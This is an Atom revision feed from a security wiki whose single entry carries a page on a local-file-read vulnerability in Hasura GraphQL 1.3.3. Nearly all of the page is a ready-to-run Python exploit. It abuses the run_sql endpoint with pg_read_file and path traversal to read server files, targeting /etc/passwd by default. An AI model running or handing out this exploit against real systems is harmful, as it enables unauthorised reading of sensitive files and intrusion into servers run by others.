<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Hasura_GraphQL_1.3.3_%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E</id>
	<title>Hasura GraphQL 1.3.3 本地文件讀取漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Hasura_GraphQL_1.3.3_%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Hasura_GraphQL_1.3.3_%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T08:13:02Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Hasura_GraphQL_1.3.3_%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E&amp;diff=1857&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Hasura GraphQL 1.3.3 - Local File Read # Software: Hasura GraphQL # Software Link: https://github.com/hasura/graphql-engine # Version: 1.3.3 # E...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Hasura_GraphQL_1.3.3_%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E&amp;diff=1857&amp;oldid=prev"/>
		<updated>2021-04-22T02:05:04Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Hasura GraphQL 1.3.3 - Local File Read # Software: Hasura GraphQL # Software Link: https://github.com/hasura/graphql-engine # Version: 1.3.3 # E...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Hasura GraphQL 1.3.3 - Local File Read&lt;br /&gt;
# Software: Hasura GraphQL&lt;br /&gt;
# Software Link: https://github.com/hasura/graphql-engine&lt;br /&gt;
# Version: 1.3.3&lt;br /&gt;
# Exploit Author: Dolev Farhi&lt;br /&gt;
# Date: 4/19./2021&lt;br /&gt;
# Tested on: Ubuntu&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
HASURA_SCHEME = 'http'&lt;br /&gt;
HASURA_HOST = '192.168.1.1'&lt;br /&gt;
HASURA_PORT = 80&lt;br /&gt;
READ_FILE = '/etc/passwd'&lt;br /&gt;
&lt;br /&gt;
def LFI(file):&lt;br /&gt;
    SQLI = &amp;quot;SELECT pg_read_file('../../../../../../../../../{}',0,1000);&amp;quot;.format(file)&lt;br /&gt;
    data =  {&amp;quot;type&amp;quot;:&amp;quot;bulk&amp;quot;,&amp;quot;args&amp;quot;:[{&amp;quot;type&amp;quot;:&amp;quot;run_sql&amp;quot;,&amp;quot;args&amp;quot;:{&amp;quot;sql&amp;quot;:SQLI,&amp;quot;cascade&amp;quot;:False,&amp;quot;read_only&amp;quot;:False}}]}&lt;br /&gt;
    endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)&lt;br /&gt;
    r = requests.post(endpoint, json=data)&lt;br /&gt;
    return r.json()&lt;br /&gt;
&lt;br /&gt;
res = LFI(READ_FILE)&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
  print(res[0]['result'][1][0])&lt;br /&gt;
except:&lt;br /&gt;
  print(res)&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>